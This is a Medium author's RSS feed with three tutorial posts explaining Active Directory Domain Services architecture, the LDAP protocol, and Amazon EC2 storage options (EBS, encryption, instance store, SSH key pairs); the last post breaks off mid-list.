<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by L1lith on Medium]]></title>
        <description><![CDATA[Stories by L1lith on Medium]]></description>
        <link>https://medium.com/@L1lith?source=rss-afc36996bc63------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*jBOp1974CxbBVagvw_INbQ@2x.jpeg</url>
            <title>Stories by L1lith on Medium</title>
            <link>https://medium.com/@L1lith?source=rss-afc36996bc63------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 00:40:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@L1lith/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Active Directory Domain Services (AD DS) Essentials — Part 1]]></title>
            <link>https://medium.com/@L1lith/active-directory-domain-services-ad-ds-essentials-part-1-090492357bc3?source=rss-afc36996bc63------2</link>
            <guid isPermaLink="false">https://medium.com/p/090492357bc3</guid>
            <category><![CDATA[domain-services]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[L1lith]]></dc:creator>
            <pubDate>Thu, 31 Jul 2025 23:26:44 GMT</pubDate>
            <atom:updated>2025-07-31T23:26:44.207Z</atom:updated>
            <content:encoded><![CDATA[<h3>Active Directory Domain Services (AD DS) Essentials — Part 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iS4g1CEv_DdviDnb.jpg" /></figure><p>Active Directory Domain Services (AD DS) is Microsoft’s implementation of a <strong>directory service</strong>. It is a core component of the Windows Server operating system and provides a <strong>centralized mechanism</strong> for managing <strong>authentication</strong>, <strong>authorization</strong>, and <strong>resource access</strong> across a network. AD DS enables organizations to define a structured and secure environment where identities (users, computers, services) are stored, managed, and verified.</p><p>This centralized directory service is used to:</p><ul><li><strong>Authenticate</strong> users and computers across the domain.</li><li><strong>Authorize</strong> access to resources based on identity and group membership.</li><li>Enforce security policies using <strong>Group Policy Objects</strong> (<strong>GPOs</strong>).</li><li>Provide a searchable database of <strong>organizational assets</strong>.</li><li>Support <strong>distributed environments</strong> through replication and multi-site capabilities.</li></ul><p>In modern enterprise infrastructures, AD DS is a foundational element for identity and access management (<strong>IAM</strong>), offering deep integration with Microsoft services and compatibility with third-party systems through LDAP and Kerberos protocols.</p><h3>Position in IT Infrastructure</h3><p>AD DS serves as the authoritative identity source in a Windows-based network. It <strong>replaces fragmented local user management with centralized control</strong>, allowing IT administrators to:</p><ul><li>Create and manage users, groups, and devices in a scalable way.</li><li>Apply standardized configurations and security policies across the environment.</li><li>Support single sign-on (SSO) scenarios.</li><li>Integrate with applications such as Microsoft Exchange, SharePoint, System Center, and Azure AD for hybrid identity deployments.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4VGJIxyL896Spl5p.png" /></figure><p>AD DS is typically deployed on one or more Domain Controllers (DCs), which replicate directory data to ensure availability and consistency across the network.</p><h3>Directory Service Model</h3><p>Active Directory Domain Services is based on the <strong>X.500 directory model</strong>, which provides a standardized framework for storing and accessing information about objects in a networked environment. Microsoft’s implementation adapts this model to modern enterprise needs by using the <a href="https://medium.com/@L1lith/lightweight-directory-access-protocol-ldap-c6b56ebe9bc0"><strong>Lightweight Directory Access Protocol (LDAP)</strong></a> as the primary interface for directory access.</p><h4>Distinguished Names and the Directory Tree</h4><p>Objects in Active Directory are organized in a <strong>hierarchical namespace</strong>. Each object is uniquely identified by a <strong>Distinguished Name (DN)</strong> that traces the path of the object through the directory tree.</p><p>For example:</p><pre>CN=L1lith,OU=Users,DC=corp,DC=example,DC=com</pre><p>This DN describes a user object named “L1lith” located in the “Users” Organizational Unit, inside the domain “corp.example.com”.</p><p>LDAP uses a <strong>tree structure</strong>, where each node represents a directory object. These objects are classified into:</p><ul><li><strong>Containers</strong> (such as Organizational Units or Domains)</li><li><strong>Leaf objects</strong> (such as Users, Groups, or Computers)</li></ul><h4>Directory Objects</h4><p>Every object in Active Directory represents a <strong>real-world entity</strong>, such as:</p><ul><li>A <strong>user account</strong> (e.g., an employee)</li><li>A <strong>computer</strong> (joined to the domain)</li><li>A <strong>security group</strong> (used to control access)</li><li>A <strong>printer</strong>, <strong>shared folder</strong>, or <strong>service</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/0*5l1gJOFBQ0_QBw3W.png" /></figure><p>Each object is an instance of a class defined in the directory <strong>schema</strong> and possesses a unique <strong>Globally Unique Identifier (GUID)</strong> and a <strong>Security Identifier (SID)</strong>.</p><h4>Schema and Object Classes</h4><p>The <strong>schema</strong> defines the set of object classes and attributes that can exist in Active Directory. It acts as a blueprint for the database.</p><p>The schema is made up of:</p><ul><li><strong>Object Classes</strong>: Define the type of object (e.g., user, computer, group).</li><li><strong>Attributes</strong>: Define the properties an object can have (e.g., sAMAccountName, mail, memberOf).</li></ul><p>For example:</p><ul><li>The <strong>user</strong> class includes attributes like givenName, sn (surname), userPrincipalName, and objectSID.</li><li>The <strong>group</strong> class includes attributes like member, groupType, and description.</li></ul><p>Schema changes are <strong>replicated across all Domain Controllers</strong> in a forest and are strictly controlled due to their potential impact.</p><h4>Multi-Master Replication</h4><p>AD DS uses a <strong>multi-master replication model</strong>, where all writable Domain Controllers can accept changes (e.g., creating a user, modifying a group membership). These changes are propagated asynchronously across the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EailekS7cthbNfB6.png" /></figure><p>Changes are tracked using <strong>Update Sequence Numbers (USNs)</strong> and <strong>High-Water Marks</strong> to ensure consistency and detect replication conflicts. Conflict resolution is based on attribute version numbers and timestamps.</p><p>Some operations, however, are <strong>single-master</strong> and handled by special role holders known as <strong>FSMO (Flexible Single Master Operations)</strong>, which will be covered in a later section.</p><h4>Access and Authentication Through LDAP</h4><p>While LDAP is primarily a protocol for directory access, it also supports authentication mechanisms such as:</p><ul><li><strong>Simple bind</strong>: Transmits username and password in plain text (used rarely, often disabled).</li><li><strong>SASL bind</strong>: Supports integrated authentication protocols, notably <strong>Kerberos</strong> and <strong>NTLM</strong>.</li></ul><p>In practice, LDAP in Active Directory often delegates authentication to <strong>Kerberos</strong>, while it handles directory browsing and attribute operations.</p><p>LDAP is also used by third-party applications (e.g., security tools, web applications, SIEM platforms) to connect and extract data from AD for identity or audit purposes.</p><h3>Active Directory Architecture</h3><h3>Logical Structure</h3><p>Active Directory Domain Services (AD DS) is designed around a hierarchical and logical structure that allows for both <strong>organizational flexibility</strong> and <strong>delegation of control</strong>. The architecture includes the following key components:</p><h4>Forest</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8k0I_mFkYnzW6BI9.png" /></figure><p>A <strong>forest</strong> is the topmost logical container in Active Directory. It represents a <strong>security boundary</strong> and contains one or more <strong>domain trees</strong> that share a common schema and configuration. All domains within a forest trust each other by default via transitive trust relationships.</p><p>Each forest:</p><ul><li>Shares a single <strong>global catalog</strong>.</li><li>Contains one <strong>schema</strong> (object/attribute definitions).</li><li>Maintains a shared configuration directory partition.</li></ul><p>Multiple forests may exist in an enterprise (e.g., mergers), but trusts between forests must be manually established and are not transitive.</p><h4>Tree</h4><p>A <strong>tree</strong> is a collection of one or more domains that share a contiguous DNS namespace and are connected through a parent-child trust relationship.</p><pre>corp.example.com<br>   └── emea.corp.example.com<br>         └── de.emea.corp.example.com</pre><p>Each child domain inherits trust with its parent, and transitively with the rest of the tree. However, each domain remains an <strong>autonomous unit</strong> for security and policy management.</p><h4>Domain</h4><p>A <strong>domain</strong> is the fundamental unit of administration in AD DS. It stores:</p><ul><li>Objects such as users, groups, and computers.</li><li>Policies (GPOs) and security boundaries.</li><li>Authentication credentials and SIDs.</li></ul><p>Each domain has its own <strong>Domain Controller(s)</strong> and maintains a distinct portion of the directory database (NTDS.dit). Domains are uniquely identified using DNS names (e.g., corp.local, fr.corp.local).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/0*tAw5LVF2gqvPuWXH.png" /></figure><p>Domains provide:</p><ul><li>Administrative autonomy.</li><li>Group policy boundaries.</li><li>Unique namespace for objects.</li></ul><p>Trust relationships allow access across domains, but not full control unless explicitly granted.</p><h4>Organizational Units (OUs)</h4><p>An <strong>Organizational Unit (OU)</strong> is a logical container within a domain. It is used to group objects (users, computers, groups) for:</p><ul><li><strong>Delegation of administrative control</strong>.</li><li><strong>Application of Group Policy Objects</strong>.</li><li><strong>Simplified management and separation of duties</strong>.</li></ul><p>OUs can be nested hierarchically and are entirely flexible. However, they are <strong>not security principals</strong> — they cannot be used directly in access control lists (ACLs).</p><p>Example:</p><pre>Domain: corp.local<br>├── OU: IT<br>│   ├── OU: Admins<br>│   └── OU: Servers<br>└── OU: HR<br>    └── OU: Payroll</pre><p>This allows for targeted policy application and precise delegation of permissions.</p><h3>Physical Structure</h3><p>While the logical structure represents how data is organized, the <strong>physical structure</strong> determines how directory data is <strong>replicated</strong> and how clients locate services in a network.</p><h4>Domain Controllers (DCs)</h4><p>A <strong>Domain Controller</strong> is a Windows Server that hosts an instance of the AD DS database. Its main functions include:</p><ul><li>Authenticating users and computers.</li><li>Enforcing group policies.</li><li>Handling LDAP queries and Kerberos requests.</li><li>Participating in replication.</li></ul><p>Multiple DCs can exist per domain, providing:</p><ul><li>High availability.</li><li>Load balancing.</li><li>Site-aware authentication.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/0*_3DguneZP55_dX1M.png" /></figure><p>Writable DCs accept changes to directory data. Read-Only Domain Controllers (RODCs) are used in branch offices for security purposes and will be discussed in a later section.</p><h4>Sites and Subnets</h4><p>An <strong>Active Directory Site</strong> represents one or more <strong>IP subnets</strong> that are well-connected (typically a LAN). Sites serve two main purposes:</p><ul><li>Optimize <strong>replication traffic</strong> by controlling how data is exchanged between DCs.</li><li>Direct clients to the <strong>nearest domain controller</strong> (based on subnet mapping).</li></ul><p>Site-aware services ensure efficient use of bandwidth in multi-location environments.</p><p>Example:</p><pre>Site: Paris – Subnet: 192.168.10.0/24<br>Site: Berlin – Subnet: 192.168.20.0/24</pre><p>Replication between DCs in the same site is <strong>frequent and uncompressed</strong> (intra-site), while replication across sites is <strong>scheduled and compressed</strong> (inter-site).</p><h4>Global Catalog (GC)</h4><p>A <strong>Global Catalog</strong> server is a Domain Controller that holds a <strong>partial, read-only replica</strong> of all objects from all domains in the forest. It includes:</p><ul><li>The most commonly used attributes (e.g., sAMAccountName, mail, memberOf).</li><li>A searchable index to locate any object across the forest.</li></ul><p>It is required for:</p><ul><li><strong>User logon</strong> when Universal Groups are involved.</li><li><strong>Cross-domain searches</strong> in multi-domain forests.</li><li>Exchange and other directory-dependent applications.</li></ul><p>By default, the first Domain Controller in a forest becomes a GC server. Additional GC servers can be configured to improve performance and fault tolerance.</p><h3>Naming and Namespace</h3><p>Active Directory uses <strong>DNS-based naming</strong> to provide a globally unique namespace for each domain. Every object has:</p><ul><li>A <strong>Distinguished Name (DN)</strong> — hierarchical and readable.</li><li>A <strong>GUID</strong> — globally unique identifier.</li><li>A <strong>SID</strong> — Security Identifier used for permissions.</li></ul><p>Example DN:</p><pre>CN=John Smith,OU=Users,DC=corp,DC=example,DC=com</pre><p>DNS records are critical for locating domain controllers, global catalog servers, and other AD-related services. Special <strong>SRV (Service Locator)</strong> records are registered in DNS for this purpose.</p><h3>Trust Relationships</h3><p>Trusts allow users in one domain to access resources in another. There are two main types:</p><ul><li><strong>Transitive Trusts</strong>: Extend through a chain of trust (used within forests).</li><li><strong>Non-transitive Trusts</strong>: Restricted to the two domains involved (used between forests).</li></ul><p>Trusts can be:</p><ul><li><strong>One-way</strong> or <strong>two-way</strong>.</li><li><strong>Forest</strong>, <strong>External</strong>, <strong>Realm</strong>, or <strong>Shortcut</strong>.</li></ul><p>Trusts define <strong>authentication flow</strong>, not authorization. A user may be authenticated across domains, but access is granted only if permissions are explicitly configured.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=090492357bc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lightweight Directory Access Protocol (LDAP)]]></title>
            <link>https://medium.com/@L1lith/lightweight-directory-access-protocol-ldap-c6b56ebe9bc0?source=rss-afc36996bc63------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6b56ebe9bc0</guid>
            <category><![CDATA[ldap-authentication]]></category>
            <category><![CDATA[ldap-server]]></category>
            <category><![CDATA[ldap]]></category>
            <dc:creator><![CDATA[L1lith]]></dc:creator>
            <pubDate>Thu, 31 Jul 2025 23:00:25 GMT</pubDate>
            <atom:updated>2025-07-31T23:02:35.031Z</atom:updated>
            <content:encoded><![CDATA[<h4>The X.500 directory model</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*pGMI0oYFUB9b4Juy.gif" /></figure><p>The X.500 model defines a <strong>directory as a collection of objects</strong> arranged in a <strong>tree structure</strong>, known as the <strong>Directory Information Tree (DIT)</strong>. Each object in the tree is called an <strong>entry</strong>, representing something like a person, organization, or device.</p><ul><li><strong>Entries</strong> are made up of <strong>attributes</strong> (e.g., name, email, phone).</li><li>Each <strong>attribute</strong> has a <strong>type</strong> and <strong>one or more values</strong>.</li><li>The <strong>Distinguished Name (DN)</strong> uniquely identifies each entry by tracing its path from the root of the tree.</li></ul><p>This model is the foundation for <strong>LDAP (Lightweight Directory Access Protocol)</strong>, which simplifies and implements X.500 concepts for use over TCP/IP networks.</p><h4><strong>What is LDAP?</strong></h4><p><strong>LDAP (Lightweight Directory Access Protocol)</strong> is an <strong>application-layer protocol</strong> used to access and manage <strong>directory services</strong> over TCP/IP. Originally designed as a lightweight version of the X.500 DAP protocol, it became the de facto standard for directory access.</p><p>LDAP is defined in <strong>RFC 4511</strong> and operates primarily with <strong>read-heavy, hierarchical datasets</strong> such as user information, authentication data, and network resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ua_45wUZp_fZNdRf.jpg" /></figure><p>LDAP uses the X.500 directory model, organizing entries in a hierarchical structure called the <strong>Directory Information Tree (DIT)</strong>. Each entry represents an object (such as a user or device) and is uniquely identified by a <strong>Distinguished Name (DN)</strong>, which traces its path through the tree from the root.</p><p>An entry consists of:</p><ul><li>A Distinguished Name (DN), such as cn=l1lith,ou=Users,dc=example,dc=com</li><li>One or more <strong>attributes</strong>, each with a type and one or more values</li><li>An associated <strong>objectClass</strong> that defines the schema and allowable attributes for the entry</li></ul><p>LDAP schemas are extensible and allow for custom object classes and attributes. This flexibility supports a wide range of use cases, from user authentication to device inventories.</p><h4><strong>Schema Components</strong></h4><p>LDAP data is structured according to a schema composed of:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sQXKs4YtQqqb9uzXc6wMVw.png" /></figure><ul><li><strong>objectClass</strong>: Defines the type of the entry (e.g., person, organizationalPerson, user)</li><li><strong>attributeType</strong>: Describes each attribute’s name, syntax, and constraints</li><li><strong>matchingRule</strong>: Specifies how comparisons are made (e.g., case-insensitive)</li><li><strong>DITContentRule</strong>: Defines rules for allowable attributes and structures within the DIT</li></ul><h4><strong>LDAP Operations</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*REbIw6uTDYn7Rdv-.png" /></figure><p>LDAP supports several core operations, divided into two categories: query and modification.</p><p><strong>Query operations:</strong></p><ul><li>Bind: Authenticates a client to the directory</li><li>Search: Queries entries that match a given filter</li><li>Compare: Compares an attribute’s value with a provided value</li></ul><p><strong>Modification operations:</strong></p><ul><li>Add: Creates a new directory entry</li><li>Delete: Removes an entry</li><li>Modify: Changes attribute values of an existing entry</li><li>Modify DN: Renames or moves an entry within the DIT</li></ul><h4><strong>Authentication Methods</strong></h4><p>LDAP supports multiple bind methods for authentication:</p><ul><li><strong>Anonymous Bind</strong>: No credentials. Often disabled for security reasons.</li><li><strong>Simple Bind</strong>: Username and password sent in plain text (should be secured with TLS)</li><li><strong>SASL Bind</strong>: Uses external mechanisms such as Kerberos (GSSAPI) or NTLM for secure authentication</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/0*L8s5syRbE80-rY_m.png" /></figure><p>In Active Directory, SASL is commonly used in conjunction with Kerberos for domain logon processes.</p><h4><strong>Ports and Encryption</strong></h4><p>LDAP runs over the following ports:</p><ul><li>Port <strong>389</strong> (TCP/UDP): <strong>Standard LDAP</strong>. Can be upgraded to encrypted communication using STARTTLS.</li><li>Port <strong>636</strong> (TCP): <strong>LDAPS</strong>, where the session is encrypted from the start using SSL/TLS.</li></ul><p>Modern implementations prefer <strong>STARTTLS</strong> on port <strong>389</strong> over the legacy LDAPS on port 636.</p><h4><strong>How LDAP Works</strong></h4><p>LDAP operates through a client-server model. A client (such as an application, operating system, or script) initiates a connection to the LDAP server and authenticates using a “bind” operation, which can be anonymous, use simple credentials, or employ secure methods like SASL with Kerberos. Once authenticated, the client performs directory operations such as search, compare, add, modify, delete, or rename. The server processes these requests against its directory information tree (DIT), a hierarchical structure of entries defined by the LDAP schema. Each entry is identified by a distinguished name (DN) and contains attributes defined by its objectClass. Search operations are performed using filters (e.g., (&amp;(objectClass=user)(department=IT))), and results are returned in a structured format. LDAP typically uses port 389 for unencrypted or STARTTLS-upgraded communication, and port 636 for LDAPS (LDAP over SSL/TLS). It&#39;s commonly used for centralized authentication, user directory lookups, and configuration management in enterprise environments, including Active Directory, OpenLDAP, and similar systems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6b56ebe9bc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EC2 Storage Options: EBS, Encryption, and Instance Store]]></title>
            <link>https://medium.com/@L1lith/ec2-storage-options-ebs-encryption-and-instance-store-73c56c22a503?source=rss-afc36996bc63------2</link>
            <guid isPermaLink="false">https://medium.com/p/73c56c22a503</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-ebs]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[aws-ec2]]></category>
            <category><![CDATA[aws-certification]]></category>
            <dc:creator><![CDATA[L1lith]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 23:05:35 GMT</pubDate>
            <atom:updated>2025-07-27T23:05:35.412Z</atom:updated>
            <content:encoded><![CDATA[<p>Amazon EC2 supports two primary types of storage for instances:</p><ol><li><strong>Elastic Block Store (EBS)</strong> — persistent, flexible, and feature-rich block storage</li><li><strong>Instance Store</strong> — ephemeral, high-performance, local block storage</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tzx6JPRzzTN__hHt.png" /></figure><p>Understanding how each works, their features, and appropriate use cases is critical for designing reliable, secure, and high-performing EC2-based workloads.</p><p>This article covers the following topics:</p><ul><li>Key properties and capabilities of <strong>Amazon EBS volumes</strong></li><li><strong>EBS encryption</strong> mechanisms and how data is secured in transit and at rest</li><li>The design and usage of <strong>Instance Store</strong> for temporary high-speed data</li><li><strong>SSH key pairs</strong>, how they control EC2 access, and related best practices</li></ul><h3>1. Amazon EBS (Elastic Block Store)</h3><p>EBS provides <strong>durable, high-availability block-level storage</strong> volumes that can be attached to EC2 instances. Each volume behaves like a virtual hard drive and supports common filesystems and database storage engines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/0*2yvFGMQgFSeFfpg1.jpg" /></figure><h4>Key Characteristics of EBS:</h4><ul><li><strong>Durability</strong>: EBS volumes are persistent by default. They exist independently of the EC2 instance lifecycle unless explicitly set to delete on termination.</li><li><strong>Attachability</strong>: Volumes can only be attached to one EC2 instance at a time (except for specific Multi-Attach use cases).</li><li><strong>Availability Zone Scoped</strong>: The EC2 instance and EBS volume must reside in the <strong>same AZ</strong>.</li><li><strong>Primary Storage</strong>: Commonly used for OS drives, application data, databases, and log storage.</li><li><strong>Modifiable</strong>: Live EBS volumes can be resized, performance-tuned (IOPS), and changed in type without downtime on supported instance types.</li><li><strong>Throughput-Intensive Support</strong>: Well-suited for applications that require sustained high-speed disk access (e.g., log processing, big data frameworks).</li><li><strong>Multi-Attach (Advanced Feature)</strong>:</li><li>Available only on specific volume types (e.g., io1, io2).</li><li>Allows attaching the same volume to <strong>multiple instances within the same AZ</strong>.</li><li>Useful for clustered applications like shared-disk file systems or HA configurations.</li></ul><h4>EBS Volume Types:</h4><p>EBS offers several volume types designed for different use cases. Choosing the right type depends on your performance and cost requirements:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*9hq112bL_b-AIpZN.png" /></figure><ul><li><strong>gp3 (General Purpose SSD)</strong>:<br> The recommended default for most workloads. It provides a balance between price and performance, with configurable IOPS and throughput independent of volume size.</li></ul><blockquote><strong>IOPS (Input/Output Operations Per Second)</strong> measures how many read or write operations a storage volume can perform each second. It’s a key performance metric for workloads like databases that require frequent, small, random I/O. Higher IOPS means better performance for such tasks.</blockquote><ul><li><strong>gp2 (General Purpose SSD, older generation)</strong>:<br> Still supported, but gp3 is preferred. Performance (IOPS) is tied to volume size, which can lead to inefficiencies.</li><li><strong>io1 / io2 (Provisioned IOPS SSD)</strong>:<br> Designed for I/O-intensive applications such as large relational or NoSQL databases. These volumes offer high performance with provisioned IOPS and are used when predictable, low-latency I/O is critical.</li><li><strong>st1 (Throughput-Optimized HDD)</strong>:<br> Ideal for big data workloads, log processing, and streaming workloads that require high throughput rather than IOPS.</li><li><strong>sc1 (Cold HDD)</strong>:<br> Lowest-cost option, suited for infrequently accessed data where performance is not a priority, such as archival storage.</li></ul><blockquote><em>Note: gp3 is now the preferred general-purpose SSD volume type due to its performance flexibility and cost efficiency.</em></blockquote><h3>2. EBS Encryption</h3><p>Amazon EBS supports encryption of data <strong>at rest</strong>, <strong>in transit</strong>, and during <strong>snapshot operations</strong>, using the <strong>AWS Key Management Service (KMS)</strong>. Encryption is fully handled by AWS and completely transparent to users, requiring no additional configuration at the operating system or application level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*RqTL4IVub5Djva7n.png" /></figure><h4>Key Characteristics</h4><ul><li><strong>Encryption Algorithm</strong>: EBS uses <strong>AES-256</strong>, a symmetric encryption standard widely adopted across the industry.</li><li><strong>KMS Integration</strong>: EBS integrates with <strong>AWS KMS</strong>, which manages encryption keys and provides fine-grained control through customer-managed keys (CMKs) or AWS-managed keys.</li><li><strong>Location of Encryption Operations</strong>: Encryption and decryption take place on the <strong>EC2 host hardware</strong>, not within the EBS volume itself. This ensures data is always encrypted during transmission between EC2 and EBS.</li></ul><h4>How EBS Encryption Works: Envelope Encryption</h4><p>EBS encryption uses <strong>envelope encryption</strong>, a layered approach to secure data:</p><ol><li>When an encrypted volume is created, AWS generates a <strong>unique data key</strong> for that volume.</li><li>This <strong>data key</strong> is used to encrypt and decrypt the actual data stored on the volume.</li><li>The data key itself is then encrypted using a <strong>KMS master key (CMK)</strong>.</li><li>The encrypted data key is stored alongside the volume metadata, and is decrypted when needed using KMS.</li></ol><p>This structure offers:</p><ul><li><strong>Reduced exposure risk</strong> (the master key is never used directly on data),</li><li><strong>Improved performance</strong> (only small keys are sent to KMS),</li><li><strong>Simplified key management</strong> (you don’t manage encryption manually per volume).</li></ul><p>Each volume has its own unique data key, and all encryption is tied back to your chosen KMS key.</p><h4>What Is Encrypted</h4><p>EBS encryption secures the following data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*WYluPDdUiUX-Rs7d.png" /></figure><ul><li><strong>Data at rest</strong>: All data stored inside the EBS volume.</li><li><strong>Data in transit</strong>: All data moving between the EC2 instance and the attached EBS volume.</li><li><strong>Snapshots</strong>: Snapshots created from encrypted volumes are also encrypted.</li><li><strong>Derived volumes</strong>: Any volume created from an encrypted snapshot is automatically encrypted with the same key.</li></ul><h4>Automatic Encryption Flow</h4><ul><li>If you encrypt a volume → all snapshots from it are automatically encrypted.</li><li>If you create a volume from an encrypted snapshot → that volume will also be encrypted.</li><li>There is <strong>no way to convert an existing unencrypted volume to encrypted</strong> in-place. Instead:</li></ul><ol><li>Take a snapshot of the unencrypted volume.</li><li>Copy that snapshot and enable encryption during the copy.</li><li>Create a new encrypted volume from the encrypted snapshot.</li></ol><h4>Operational Considerations</h4><ul><li>You can <strong>attach both encrypted and unencrypted volumes</strong> to the same EC2 instance.</li><li><strong>Both boot and data volumes</strong> can be encrypted.</li><li>EBS encryption has <strong>no performance impact</strong>; encryption is handled at the hardware level.</li><li><strong>You cannot change the encryption status</strong> (encrypted ↔ unencrypted) of an existing volume directly.</li></ul><h4>Best Practices</h4><ul><li>Enable <strong>default EBS encryption</strong> at the account or region level to ensure that all newly created volumes and snapshots are encrypted automatically.</li><li>Use <strong>Customer Managed Keys (CMKs)</strong> when you need granular control (e.g., audit logging, rotation).</li><li>Regularly review KMS policies to ensure only authorized users can create and use encrypted volumes.</li></ul><h3>3. EC2 Key Pairs and SSH Access</h3><p>SSH access to EC2 Linux instances is controlled via <strong>public-private key pairs</strong>, ensuring secure, passwordless logins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*_ZpAGzptOQ_v6rFV.png" /></figure><h4>How It Works:</h4><ul><li><strong>Public Key</strong>: Uploaded to EC2 and injected into the instance during launch</li><li><strong>Private Key</strong>: Downloaded by the user and stored securely (e.g., .pem file)</li></ul><h4>Key Pair Details:</h4><ul><li>During instance creation, AWS inserts the public key into the instance under: ~/.ssh/authorized_keys</li><li>When you connect via SSH, your client proves possession of the <strong>matching private key</strong></li><li><strong>No password is needed</strong>, but <strong>loss of the private key means permanent loss of access</strong> to the instance unless a new key is injected manually (which often requires stop/start and reconfiguration)</li></ul><h4>Security Tips:</h4><ul><li>Never upload private keys to GitHub, S3 buckets, or public repositories</li><li>Use a hardware or software vault for long-term key storage</li><li>Use different key pairs for production vs development environments</li><li>Rotate key pairs periodically for sensitive environments</li></ul><h3>4. EC2 Instance Store (Ephemeral Storage)</h3><p>The EC2 <strong>instance store</strong> provides <strong>temporary block-level storage</strong> that is <strong>physically attached</strong> to the underlying host machine running the EC2 instance. This makes it extremely fast compared to network-attached storage like EBS, but it comes with a key limitation: <strong>data is ephemeral</strong> and does not persist if the instance is stopped, terminated, or fails.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QnWZD2WQM0wtYIp6.png" /></figure><h4>Characteristics:</h4><ul><li><strong>High Performance</strong>: Very low latency and high IOPS due to direct physical attachment.</li><li><strong>Ephemeral</strong>: Data is lost if the instance is stopped, terminated, or fails.</li><li><strong>Not Suitable for Boot</strong>: Instance store is not used for boot volumes (too slow and volatile).</li><li><strong>Fixed Size</strong>: Capacity is defined at instance launch and cannot be modified later.</li><li><strong>Use Cases</strong>:</li><li>Cache and buffer storage</li><li>Temporary data processing</li><li>Scratch space for high-speed computations</li></ul><blockquote><strong><em>Warning</em></strong><em>: Always design applications using Instance Store with failure and data loss in mind. Never rely on it for critical or persistent data.</em></blockquote><h4>Availability and Instance Type Considerations</h4><p>Instance store is <strong>not available for all EC2 instance types</strong>. It is offered only on selected instance families that include local NVMe or SSD storage as part of the instance specification.</p><h4>Instance families that typically include instance store:</h4><ul><li>i3, i4i: High IOPS SSD-backed storage (optimized for database and caching)</li><li>d2, d3, h1: Dense HDD storage (optimized for data warehousing, logs, and large unstructured data)</li><li>z1d: High-frequency CPU with local NVMe SSD</li><li>c5d, m5d, r5d: Variants of compute-, memory-, and storage-optimized families with local disks</li></ul><blockquote><strong>Important</strong>: Always check the <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/InstanceStorage.html">official EC2 instance documentation</a> or console instance type selector to verify whether a specific instance includes instance store and to view its capacity and performance characteristics.</blockquote><p>Additionally:</p><ul><li>Instance store volumes are <strong>AZ-scoped</strong>, just like EBS.</li><li>You <strong>cannot detach or reattach</strong> instance store volumes between instances — they are tied to the instance lifecycle.</li></ul><h4>When to Use Instance Store</h4><p>Use instance store when:</p><ul><li>You need <strong>extremely fast local storage</strong> (e.g., for temporary files, intermediate computation results, or caches).</li><li>You can tolerate <strong>data loss</strong> (i.e., the data can be regenerated or is short-lived).</li><li>You want to <strong>avoid paying for persistent storage</strong> when it’s not necessary.</li></ul><p>Avoid instance store when:</p><ul><li>The data is critical or must persist across reboots, stops, or instance terminations.</li><li>You need backup, snapshot, or encryption support.</li><li>You want to share or migrate the data across instances or regions.</li></ul><h3>5. EBS vs. Instance Store: Key Differences</h3><h4><strong>Persistence</strong>:</h4><ul><li>EBS volumes are persistent and survive instance stops and terminations (unless DeleteOnTermination is set).</li><li>Instance store is ephemeral — data is lost when the instance stops or fails.</li></ul><h4><strong>Performance</strong>:</h4><ul><li>EBS performance depends on the volume type (e.g., gp3, io2) and can be tuned.</li><li>Instance store offers <strong>ultra-low latency and very high throughput</strong> due to its physical attachment.</li></ul><h4><strong>Boot Support</strong>:</h4><ul><li>EBS volumes can be used for both <strong>boot</strong> and <strong>data</strong> volumes.</li><li>Instance store is generally <strong>not used for boot volumes</strong> due to volatility.</li></ul><h4><strong>Availability Zone Scope</strong>:</h4><ul><li>Both EBS and instance store volumes must be in the same Availability Zone as the EC2 instance.</li></ul><h4><strong>Primary Use Cases</strong>:</h4><ul><li>EBS: Operating system, databases, logs, application data, persistent storage.</li><li>Instance store: Cache layers, scratch space, temporary processing buffers, high-speed intermediate 